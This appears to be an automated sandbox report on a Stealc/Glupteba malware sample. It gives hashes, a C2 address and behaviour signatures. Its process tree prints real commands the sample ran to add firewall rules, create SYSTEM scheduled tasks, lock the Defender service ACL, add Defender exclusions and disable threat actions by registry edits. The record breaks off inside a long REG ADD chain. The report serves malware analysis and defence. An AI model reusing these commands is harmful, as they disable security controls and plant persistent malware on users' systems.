Overview

overview

10

Static

static

3

cryptolaemus

windows10-2004-x64

10

cryptolaemus

windows11-21h2-x64

10

Analysis

  • max time kernel
    149s
  • max time network
    151s
  • platform
    windows11-21h2_x64
  • resource
    win11-20240412-en
  • resource tags

    arch:x64arch:x86image:win11-20240412-enlocale:en-usos:windows11-21h2-x64system
  • submitted
    19-04-2024 14:04

Sharing

Copy URL
Twitter E-mail
Report Analysis Logs

General

  • Target

    d007291fcf888c4009a7a389deb36534955ae7ffb668896b02a5532f7b3122c4.exe

  • Size

    552KB

  • MD5

    0f5235116df283e424268f99bb1806fd

  • SHA1

    a79cd569110deffbfbda863b78de3e8f999d5a57

  • SHA256

    d007291fcf888c4009a7a389deb36534955ae7ffb668896b02a5532f7b3122c4

  • SHA512

    f956b363540595d70ec7a8e49e0baeb4980f4432ad286abe0ee19d7bf171f9f448d347c717e4697f3408a9fc7c9ed46eba56f5d9964396abfdfe58b129c7cc96

  • SSDEEP

    12288:JKuTqUpDsCidKbHs/IJZDsK18ENeUsBV+ai4:JK89p4Ci+HsQD4K1W+n4

Score
10/10
gluptebastealcdiscoverydropperevasionloaderpersistencerootkitspywarestealertrojanupx

Malware Config

Extracted

Family

stealc

C2

http://185.172.128.209

Attributes
  • url_path

    /3cd2b41cbde8fc9c.php

Signatures

  • Glupteba

    Glupteba is a modular loader written in Golang with various components.

    loaderdropperglupteba
  • Glupteba payload 16 IoCs
  • Modifies firewall policy service 2 TTPs 1 IoCs
    evasion
  • Stealc

    Stealc is an infostealer written in C++.

    stealerstealc
  • Identifies VirtualBox via ACPI registry values (likely anti-VM) 2 TTPs 1 IoCs
    evasion
  • Blocklisted process makes network request 2 IoCs
  • Downloads MZ/PE file
  • Modifies Windows Firewall 2 TTPs 2 IoCs
    evasion
  • Checks BIOS information in registry 2 TTPs 4 IoCs

    BIOS information is often read in order to detect sandboxing environments.

  • Checks computer location settings 2 TTPs 1 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Drops startup file 8 IoCs
  • Executes dropped EXE 26 IoCs
  • Loads dropped DLL 10 IoCs
  • Reads user/profile data of web browsers 2 TTPs

    Infostealers often target stored browser data, which can include saved credentials etc.

    spywarestealer
  • UPX packed file 4 IoCs

    Detects executables packed with UPX/modified UPX open source packer.

    upx
  • Adds Run key to start application 2 TTPs 4 IoCs
    persistence
  • Checks installed software on the system 1 TTPs

    Looks up Uninstall key entries in the registry to enumerate software on the system.

    discovery
  • Checks whether UAC is enabled 1 TTPs 1 IoCs
    evasiontrojan
  • Drops Chrome extension 2 IoCs
  • Drops desktop.ini file(s) 1 IoCs
  • Enumerates connected drives 3 TTPs 27 IoCs

    Attempts to read the root path of hard drives other than the default C: drive.

  • Legitimate hosting services abused for malware hosting/C2 1 TTPs 2 IoCs
  • Manipulates WinMonFS driver. 1 IoCs

    Roottkits write to WinMonFS to hide directories/files from being detected.

    rootkitevasion
  • Drops file in System32 directory 42 IoCs
  • Suspicious use of NtSetInformationThreadHideFromDebugger 1 IoCs
  • Suspicious use of SetThreadContext 1 IoCs
  • Checks for VirtualBox DLLs, possible anti-VM trick 1 TTPs 2 IoCs

    Certain files are specific to VirtualBox VMs and can be used to detect execution in a VM.

  • Drops file in Program Files directory 14 IoCs
  • Drops file in Windows directory 13 IoCs
  • Launches sc.exe 1 IoCs

    Sc.exe is a Windows utlilty to control services on the system.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Program crash 2 IoCs
  • Checks SCSI registry key(s) 3 TTPs 3 IoCs

    SCSI information is often read in order to detect sandboxing environments.

  • Creates scheduled task(s) 1 TTPs 12 IoCs

    Schtasks is often used by malware for persistence or to perform post-infection execution.

    persistence
  • Enumerates system info in registry 2 TTPs 4 IoCs
  • Modifies data under HKEY_USERS 64 IoCs
  • Modifies system certificate store 2 TTPs 3 IoCs
    evasionspywaretrojan
  • Suspicious behavior: EnumeratesProcesses 64 IoCs
  • Suspicious use of AdjustPrivilegeToken 64 IoCs
  • Suspicious use of FindShellTrayWindow 7 IoCs
  • Suspicious use of SendNotifyMessage 7 IoCs
  • Suspicious use of WriteProcessMemory 64 IoCs
  • Uses Task Scheduler COM API 1 TTPs

    The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.

    persistence

Processes

  • C:\Users\Admin\AppData\Local\Temp\d007291fcf888c4009a7a389deb36534955ae7ffb668896b02a5532f7b3122c4.exe
    "C:\Users\Admin\AppData\Local\Temp\d007291fcf888c4009a7a389deb36534955ae7ffb668896b02a5532f7b3122c4.exe"
    1⤵
    • Suspicious use of SetThreadContext
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of WriteProcessMemory
    PID:4960
    • C:\Windows\Microsoft.NET\Framework\v4.0.30319\regasm.exe
      "C:\Windows\Microsoft.NET\Framework\v4.0.30319\regasm.exe"
      2⤵
      • Drops startup file
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of WriteProcessMemory
      PID:4284
      • C:\Users\Admin\Pictures\B8Ng9DuIJgnvrbMHtNWim1HP.exe
        "C:\Users\Admin\Pictures\B8Ng9DuIJgnvrbMHtNWim1HP.exe"
        3⤵
        • Executes dropped EXE
        • Suspicious use of WriteProcessMemory
        PID:3076
        • C:\Users\Admin\AppData\Local\Temp\u2dg.0.exe
          "C:\Users\Admin\AppData\Local\Temp\u2dg.0.exe"
          4⤵
          • Executes dropped EXE
          PID:3400
          • C:\Windows\SysWOW64\WerFault.exe
            C:\Windows\SysWOW64\WerFault.exe -u -p 3400 -s 1128
            5⤵
            • Program crash
            PID:1404
        • C:\Users\Admin\AppData\Local\Temp\u2dg.3.exe
          "C:\Users\Admin\AppData\Local\Temp\u2dg.3.exe"
          4⤵
          • Executes dropped EXE
          • Checks SCSI registry key(s)
          • Suspicious use of FindShellTrayWindow
          • Suspicious use of SendNotifyMessage
          PID:1424
          • C:\Users\Admin\AppData\Local\Temp\iolo\dm\SystemMechanic_5488CB36-BE62-4606-B07B-2EE938868BD1.exe
            "C:\Users\Admin\AppData\Local\Temp\iolo\dm\SystemMechanic_5488CB36-BE62-4606-B07B-2EE938868BD1.exe" /eieci=11A12794-499E-4FA0-A281-A9A9AA8B2685 /eipi=5488CB36-BE62-4606-B07B-2EE938868BD1
            5⤵
            • Suspicious use of AdjustPrivilegeToken
            PID:1900
        • C:\Windows\SysWOW64\WerFault.exe
          C:\Windows\SysWOW64\WerFault.exe -u -p 3076 -s 1652
          4⤵
          • Program crash
          PID:3716
      • C:\Users\Admin\Pictures\z3XO3y8eiP2BsC1smWlI5r5w.exe
        "C:\Users\Admin\Pictures\z3XO3y8eiP2BsC1smWlI5r5w.exe"
        3⤵
        • Executes dropped EXE
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        • Suspicious use of WriteProcessMemory
        PID:3044
        • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
          powershell -nologo -noprofile
          4⤵
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          PID:3320
        • C:\Users\Admin\Pictures\z3XO3y8eiP2BsC1smWlI5r5w.exe
          "C:\Users\Admin\Pictures\z3XO3y8eiP2BsC1smWlI5r5w.exe"
          4⤵
          • Executes dropped EXE
          • Adds Run key to start application
          • Checks for VirtualBox DLLs, possible anti-VM trick
          • Drops file in Windows directory
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of WriteProcessMemory
          PID:2884
          • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
            powershell -nologo -noprofile
            5⤵
            • Drops file in System32 directory
            • Modifies data under HKEY_USERS
            • Suspicious behavior: EnumeratesProcesses
            • Suspicious use of AdjustPrivilegeToken
            PID:1228
          • C:\Windows\system32\cmd.exe
            C:\Windows\Sysnative\cmd.exe /C "netsh advfirewall firewall add rule name="csrss" dir=in action=allow program="C:\Windows\rss\csrss.exe" enable=yes"
            5⤵
              PID:736
              • C:\Windows\system32\netsh.exe
                netsh advfirewall firewall add rule name="csrss" dir=in action=allow program="C:\Windows\rss\csrss.exe" enable=yes
                6⤵
                • Modifies Windows Firewall
                PID:3124
            • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
              powershell -nologo -noprofile
              5⤵
              • Drops file in System32 directory
              • Modifies data under HKEY_USERS
              • Suspicious behavior: EnumeratesProcesses
              • Suspicious use of AdjustPrivilegeToken
              PID:4020
            • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
              powershell -nologo -noprofile
              5⤵
              • Drops file in System32 directory
              • Modifies data under HKEY_USERS
              • Suspicious behavior: EnumeratesProcesses
              • Suspicious use of AdjustPrivilegeToken
              PID:2800
            • C:\Windows\rss\csrss.exe
              C:\Windows\rss\csrss.exe
              5⤵
              • Executes dropped EXE
              • Adds Run key to start application
              • Manipulates WinMonFS driver.
              • Drops file in Windows directory
              • Suspicious use of AdjustPrivilegeToken
              PID:2172
              • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                powershell -nologo -noprofile
                6⤵
                • Drops file in System32 directory
                • Modifies data under HKEY_USERS
                • Suspicious behavior: EnumeratesProcesses
                • Suspicious use of AdjustPrivilegeToken
                PID:3320
              • C:\Windows\SYSTEM32\schtasks.exe
                schtasks /CREATE /SC ONLOGON /RL HIGHEST /TR "C:\Windows\rss\csrss.exe" /TN csrss /F
                6⤵
                • Creates scheduled task(s)
                PID:1892
              • C:\Windows\SYSTEM32\schtasks.exe
                schtasks /delete /tn ScheduledUpdate /f
                6⤵
                  PID:4936
                • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                  powershell -nologo -noprofile
                  6⤵
                  • Drops file in System32 directory
                  • Modifies data under HKEY_USERS
                  • Suspicious behavior: EnumeratesProcesses
                  • Suspicious use of AdjustPrivilegeToken
                  PID:5020
                • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                  powershell -nologo -noprofile
                  6⤵
                  • Drops file in System32 directory
                  • Modifies data under HKEY_USERS
                  • Suspicious behavior: EnumeratesProcesses
                  • Suspicious use of AdjustPrivilegeToken
                  PID:4684
                • C:\Users\Admin\AppData\Local\Temp\csrss\injector\injector.exe
                  C:\Users\Admin\AppData\Local\Temp\csrss\injector\injector.exe taskmgr.exe C:\Users\Admin\AppData\Local\Temp\csrss\injector\NtQuerySystemInformationHook.dll
                  6⤵
                  • Executes dropped EXE
                  • Suspicious behavior: EnumeratesProcesses
                  PID:3468
                • C:\Windows\SYSTEM32\schtasks.exe
                  schtasks /CREATE /SC ONLOGON /RL HIGHEST /TR "C:\Windows\rss\csrss.exe" /TN csrss /F
                  6⤵
                  • Creates scheduled task(s)
                  PID:4820
                • C:\Windows\windefender.exe
                  "C:\Windows\windefender.exe"
                  6⤵
                  • Executes dropped EXE
                  PID:1072
                  • C:\Windows\SysWOW64\cmd.exe
                    cmd.exe /C sc sdset WinDefender D:(A;;CCLCSWRPWPDTLOCRRC;;;SY)(A;;CCDCLCSWRPLOCRSDRCWDWO;;;BA)(D;;WPDT;;;BA)(A;;CCLCSWLOCRRC;;;IU)(A;;CCLCSWLOCRRC;;;SU)S:(AU;FA;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;WD)
                    7⤵
                      PID:228
                      • C:\Windows\SysWOW64\sc.exe
                        sc sdset WinDefender D:(A;;CCLCSWRPWPDTLOCRRC;;;SY)(A;;CCDCLCSWRPLOCRSDRCWDWO;;;BA)(D;;WPDT;;;BA)(A;;CCLCSWLOCRRC;;;IU)(A;;CCLCSWLOCRRC;;;SU)S:(AU;FA;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;WD)
                        8⤵
                        • Launches sc.exe
                        • Suspicious use of AdjustPrivilegeToken
                        PID:244
            • C:\Users\Admin\Pictures\GjI6ioR6cLVRryk8D6Bj6r6Y.exe
              "C:\Users\Admin\Pictures\GjI6ioR6cLVRryk8D6Bj6r6Y.exe"
              3⤵
              • Executes dropped EXE
              • Suspicious behavior: EnumeratesProcesses
              • Suspicious use of AdjustPrivilegeToken
              • Suspicious use of WriteProcessMemory
              PID:3800
              • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                powershell -nologo -noprofile
                4⤵
                • Suspicious behavior: EnumeratesProcesses
                • Suspicious use of AdjustPrivilegeToken
                PID:1472
              • C:\Users\Admin\Pictures\GjI6ioR6cLVRryk8D6Bj6r6Y.exe
                "C:\Users\Admin\Pictures\GjI6ioR6cLVRryk8D6Bj6r6Y.exe"
                4⤵
                • Executes dropped EXE
                • Adds Run key to start application
                • Checks for VirtualBox DLLs, possible anti-VM trick
                • Drops file in Windows directory
                • Modifies data under HKEY_USERS
                • Suspicious behavior: EnumeratesProcesses
                • Suspicious use of WriteProcessMemory
                PID:1300
                • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                  powershell -nologo -noprofile
                  5⤵
                  • Drops file in System32 directory
                  • Modifies data under HKEY_USERS
                  • Suspicious behavior: EnumeratesProcesses
                  • Suspicious use of AdjustPrivilegeToken
                  PID:4084
                • C:\Windows\system32\cmd.exe
                  C:\Windows\Sysnative\cmd.exe /C "netsh advfirewall firewall add rule name="csrss" dir=in action=allow program="C:\Windows\rss\csrss.exe" enable=yes"
                  5⤵
                    PID:2112
                    • C:\Windows\system32\netsh.exe
                      netsh advfirewall firewall add rule name="csrss" dir=in action=allow program="C:\Windows\rss\csrss.exe" enable=yes
                      6⤵
                      • Modifies Windows Firewall
                      PID:3244
                  • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                    powershell -nologo -noprofile
                    5⤵
                    • Drops file in System32 directory
                    • Modifies data under HKEY_USERS
                    • Suspicious behavior: EnumeratesProcesses
                    • Suspicious use of AdjustPrivilegeToken
                    PID:4608
                  • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                    powershell -nologo -noprofile
                    5⤵
                    • Drops file in System32 directory
                    • Modifies data under HKEY_USERS
                    • Suspicious behavior: EnumeratesProcesses
                    • Suspicious use of AdjustPrivilegeToken
                    PID:4656
              • C:\Users\Admin\Pictures\XrPxlDIYiTy2ckRQ7B7AEfDZ.exe
                "C:\Users\Admin\Pictures\XrPxlDIYiTy2ckRQ7B7AEfDZ.exe"
                3⤵
                • Modifies firewall policy service
                • Identifies VirtualBox via ACPI registry values (likely anti-VM)
                • Checks BIOS information in registry
                • Executes dropped EXE
                • Checks whether UAC is enabled
                • Drops file in System32 directory
                • Suspicious use of NtSetInformationThreadHideFromDebugger
                PID:4544
              • C:\Users\Admin\Pictures\OYYF9HTQ5SJVtUftEvg2Vczg.exe
                "C:\Users\Admin\Pictures\OYYF9HTQ5SJVtUftEvg2Vczg.exe"
                3⤵
                • Executes dropped EXE
                • Suspicious use of WriteProcessMemory
                PID:3888
                • C:\Users\Admin\AppData\Local\Temp\7zS8443.tmp\Install.exe
                  .\Install.exe /nxdidQZJ "385118" /S
                  4⤵
                  • Checks BIOS information in registry
                  • Executes dropped EXE
                  • Enumerates system info in registry
                  • Suspicious use of WriteProcessMemory
                  PID:2088
                  • C:\Windows\SysWOW64\forfiles.exe
                    "C:\Windows\System32\forfiles.exe" /p c:\windows\system32 /m where.exe /c "cmd /C powershell -WindowStyle Hidden WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ExclusionExtension=exe Force=True"
                    5⤵
                    • Suspicious use of WriteProcessMemory
                    PID:1508
                    • C:\Windows\SysWOW64\cmd.exe
                      /C powershell -WindowStyle Hidden WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ExclusionExtension=exe Force=True
                      6⤵
                        PID:1892
                        • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                          powershell -WindowStyle Hidden WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ExclusionExtension=exe Force=True
                          7⤵
                          • Suspicious behavior: EnumeratesProcesses
                          • Suspicious use of AdjustPrivilegeToken
                          PID:1288
                          • C:\Windows\SysWOW64\Wbem\WMIC.exe
                            "C:\Windows\System32\Wbem\WMIC.exe" /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ExclusionExtension=exe Force=True
                            8⤵
                            • Suspicious use of AdjustPrivilegeToken
                            PID:4424
                    • C:\Windows\SysWOW64\schtasks.exe
                      schtasks /CREATE /TN "bWycNackLSywaqkmgR" /SC once /ST 14:06:00 /RU "SYSTEM" /TR "\"C:\Users\Admin\AppData\Local\Temp\JMPZeWvHhArmqROvY\NwfPJCCpQqPYDzK\AIZVKOw.exe\" em /OQsite_idAGR 385118 /S" /V1 /F
                      5⤵
                      • Drops file in Windows directory
                      • Creates scheduled task(s)
                      PID:1272
                • C:\Users\Admin\Pictures\3BVFDXkt09D3q0LgQVE6DprB.exe
                  "C:\Users\Admin\Pictures\3BVFDXkt09D3q0LgQVE6DprB.exe" --silent --allusers=0
                  3⤵
                  • Executes dropped EXE
                  • Loads dropped DLL
                  • Enumerates connected drives
                  • Modifies system certificate store
                  • Suspicious use of WriteProcessMemory
                  PID:724
                  • C:\Users\Admin\Pictures\3BVFDXkt09D3q0LgQVE6DprB.exe
                    C:\Users\Admin\Pictures\3BVFDXkt09D3q0LgQVE6DprB.exe --type=crashpad-handler /prefetch:4 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Roaming\Opera Software\Opera Stable\Crash Reports" "--crash-count-file=C:\Users\Admin\AppData\Roaming\Opera Software\Opera Stable\crash_count.txt" --url=https://crashstats-collector.opera.com/collector/submit --annotation=channel=Stable --annotation=plat=Win32 --annotation=prod=OperaDesktop --annotation=ver=109.0.5097.45 --initial-client-data=0x2b0,0x2b4,0x2b8,0x28c,0x2bc,0x6f17e1d0,0x6f17e1dc,0x6f17e1e8
                    4⤵
                    • Executes dropped EXE
                    • Loads dropped DLL
                    PID:2584
                  • C:\Users\Admin\AppData\Local\Temp\.opera\Opera Installer Temp\3BVFDXkt09D3q0LgQVE6DprB.exe
                    "C:\Users\Admin\AppData\Local\Temp\.opera\Opera Installer Temp\3BVFDXkt09D3q0LgQVE6DprB.exe" --version
                    4⤵
                    • Executes dropped EXE
                    • Loads dropped DLL
                    PID:1100
                  • C:\Users\Admin\Pictures\3BVFDXkt09D3q0LgQVE6DprB.exe
                    "C:\Users\Admin\Pictures\3BVFDXkt09D3q0LgQVE6DprB.exe" --backend --install --import-browser-data=0 --enable-stats=1 --enable-installer-stats=1 --consent-given=0 --general-interests=0 --general-location=0 --personalized-content=0 --personalized-ads=0 --launchopera=1 --installfolder="C:\Users\Admin\AppData\Local\Programs\Opera" --profile-folder --language=en --singleprofile=0 --copyonly=0 --allusers=0 --setdefaultbrowser=1 --pintotaskbar=1 --pintostartmenu=0 --run-at-startup=1 --show-intro-overlay --server-tracking-data=server_tracking_data --initial-pid=724 --package-dir-prefix="C:\Users\Admin\AppData\Local\Temp\.opera\Opera Installer Temp\opera_package_20240419140452" --session-guid=70a790ff-7af7-4039-a4c9-a3be2700ab7a --server-tracking-blob="NTU2OWNkYmVmNDljZjA1NzFhNjFjZjIyYTUxMzVlYTQzNzNjYTQ3NzAwNTlhODZjZWI2NGM0YTg4NDdkZmMyNzp7ImNvdW50cnkiOiJHQiIsImluc3RhbGxlcl9uYW1lIjoiT3BlcmFTZXR1cC5leGUiLCJwcm9kdWN0Ijp7Im5hbWUiOiJvcGVyYSJ9LCJxdWVyeSI6Ii9vcGVyYS9zdGFibGUvd2luZG93cy8/dXRtX21lZGl1bT1hcGImdXRtX3NvdXJjZT1ta3QmdXRtX2NhbXBhaWduPTc2N19fNDU2Iiwic3lzdGVtIjp7InBsYXRmb3JtIjp7ImFyY2giOiJ4ODZfNjQiLCJvcHN5cyI6IldpbmRvd3MiLCJvcHN5cy12ZXJzaW9uIjoiMTEiLCJwYWNrYWdlIjoiRVhFIn19LCJ0aW1lc3RhbXAiOiIxNzEzNTM1NDgxLjYxMzkiLCJ1dG0iOnsiY2FtcGFpZ24iOiI3NjdfXzQ1NiIsIm1lZGl1bSI6ImFwYiIsInNvdXJjZSI6Im1rdCJ9LCJ1dWlkIjoiMmFhMmY4YjctMTViNS00YWYxLTljOWItNTZkMTEyNjJlZTBlIn0= " --silent --desktopshortcut=1 --wait-for-package --initial-proc-handle=2804000000000000
                    4⤵
                    • Executes dropped EXE
                    • Loads dropped DLL
                    • Enumerates connected drives
                    • Suspicious use of WriteProcessMemory
                    PID:1016
                    • C:\Users\Admin\Pictures\3BVFDXkt09D3q0LgQVE6DprB.exe
                      C:\Users\Admin\Pictures\3BVFDXkt09D3q0LgQVE6DprB.exe --type=crashpad-handler /prefetch:4 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Roaming\Opera Software\Opera Stable\Crash Reports" "--crash-count-file=C:\Users\Admin\AppData\Roaming\Opera Software\Opera Stable\crash_count.txt" --url=https://crashstats-collector.opera.com/collector/submit --annotation=channel=Stable --annotation=plat=Win32 --annotation=prod=OperaDesktop --annotation=ver=109.0.5097.45 --initial-client-data=0x2bc,0x2c0,0x2c4,0x28c,0x2c8,0x6e02e1d0,0x6e02e1dc,0x6e02e1e8
                      5⤵
                      • Executes dropped EXE
                      • Loads dropped DLL
                      PID:1116
                  • C:\Users\Admin\AppData\Local\Temp\.opera\Opera Installer Temp\opera_package_202404191404521\assistant\Assistant_109.0.5097.45_Setup.exe_sfx.exe
                    "C:\Users\Admin\AppData\Local\Temp\.opera\Opera Installer Temp\opera_package_202404191404521\assistant\Assistant_109.0.5097.45_Setup.exe_sfx.exe"
                    4⤵
                    • Executes dropped EXE
                    PID:4844
                  • C:\Users\Admin\AppData\Local\Temp\.opera\Opera Installer Temp\opera_package_202404191404521\assistant\assistant_installer.exe
                    "C:\Users\Admin\AppData\Local\Temp\.opera\Opera Installer Temp\opera_package_202404191404521\assistant\assistant_installer.exe" --version
                    4⤵
                    • Executes dropped EXE
                    • Loads dropped DLL
                    PID:1524
                    • C:\Users\Admin\AppData\Local\Temp\.opera\Opera Installer Temp\opera_package_202404191404521\assistant\assistant_installer.exe
                      "C:\Users\Admin\AppData\Local\Temp\.opera\Opera Installer Temp\opera_package_202404191404521\assistant\assistant_installer.exe" --type=crashpad-handler /prefetch:4 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Roaming\Opera Software\Opera Stable\Crash Reports" "--crash-count-file=C:\Users\Admin\AppData\Roaming\Opera Software\Opera Stable\crash_count.txt" --url=https://crashstats-collector.opera.com/collector/submit --annotation=channel=Stable --annotation=plat=Win32 --annotation=prod=OperaDesktop --annotation=ver=109.0.5097.45 --initial-client-data=0x234,0x238,0x23c,0x210,0x240,0xd86038,0xd86044,0xd86050
                      5⤵
                      • Executes dropped EXE
                      • Loads dropped DLL
                      PID:1272
                • C:\Users\Admin\Pictures\m2oZU2kuNyXNzQIRlFQBnoBQ.exe
                  "C:\Users\Admin\Pictures\m2oZU2kuNyXNzQIRlFQBnoBQ.exe"
                  3⤵
                  • Executes dropped EXE
                  • Adds Run key to start application
                  PID:4564
                  • C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\ce-installer_7.14.2_vbox-6.1.20.exe
                    C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\ce-installer_7.14.2_vbox-6.1.20.exe
                    4⤵
                    • Executes dropped EXE
                    PID:1412
                    • C:\Windows\SYSTEM32\msiexec.exe
                      "msiexec.exe" /qn /i VirtualBox-6.1.20-r143896.msi ADDLOCAL=VBoxApplication,VBoxPython VBOX_INSTALLDESKTOPSHORTCUT=0 VBOX_INSTALLQUICKLAUNCHSHORTCUT=0 /log "C:\Users\Admin\AppData\Local\Temp\charityengine-install-vbox-log.txt"
                      5⤵
                        PID:4196
                • C:\Windows\Microsoft.NET\Framework\v4.0.30319\regasm.exe
                  "C:\Windows\Microsoft.NET\Framework\v4.0.30319\regasm.exe"
                  2⤵
                    PID:3112
                • C:\Windows\SysWOW64\WerFault.exe
                  C:\Windows\SysWOW64\WerFault.exe -pss -s 444 -p 3400 -ip 3400
                  1⤵
                    PID:2188
                  • C:\Windows\system32\svchost.exe
                    C:\Windows\system32\svchost.exe -k LocalSystemNetworkRestricted -p -s fhsvc
                    1⤵
                      PID:2052
                    • C:\Windows\system32\svchost.exe
                      C:\Windows\system32\svchost.exe -k LocalSystemNetworkRestricted -s WPDBusEnum
                      1⤵
                        PID:1448
                      • C:\Windows\SysWOW64\WerFault.exe
                        C:\Windows\SysWOW64\WerFault.exe -pss -s 488 -p 3076 -ip 3076
                        1⤵
                          PID:4020
                        • C:\Windows\windefender.exe
                          C:\Windows\windefender.exe
                          1⤵
                          • Executes dropped EXE
                          • Modifies data under HKEY_USERS
                          PID:1460
                        • C:\Users\Admin\AppData\Local\Temp\JMPZeWvHhArmqROvY\NwfPJCCpQqPYDzK\AIZVKOw.exe
                          C:\Users\Admin\AppData\Local\Temp\JMPZeWvHhArmqROvY\NwfPJCCpQqPYDzK\AIZVKOw.exe em /OQsite_idAGR 385118 /S
                          1⤵
                          • Executes dropped EXE
                          • Drops file in System32 directory
                          PID:244
                          • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                            powershell "cmd /C REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"225451\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"225451\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"256596\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"256596\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"242872\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"242872\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147749373\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147749373\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147807942\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147807942\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147735735\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147735735\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147737010\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147737010\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147737007\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147737007\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147737503\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147737503\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147735503\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147735503\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147749376\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147749376\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147737394\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147737394\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147841147\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147841147\" /t REG_SZ /d 6 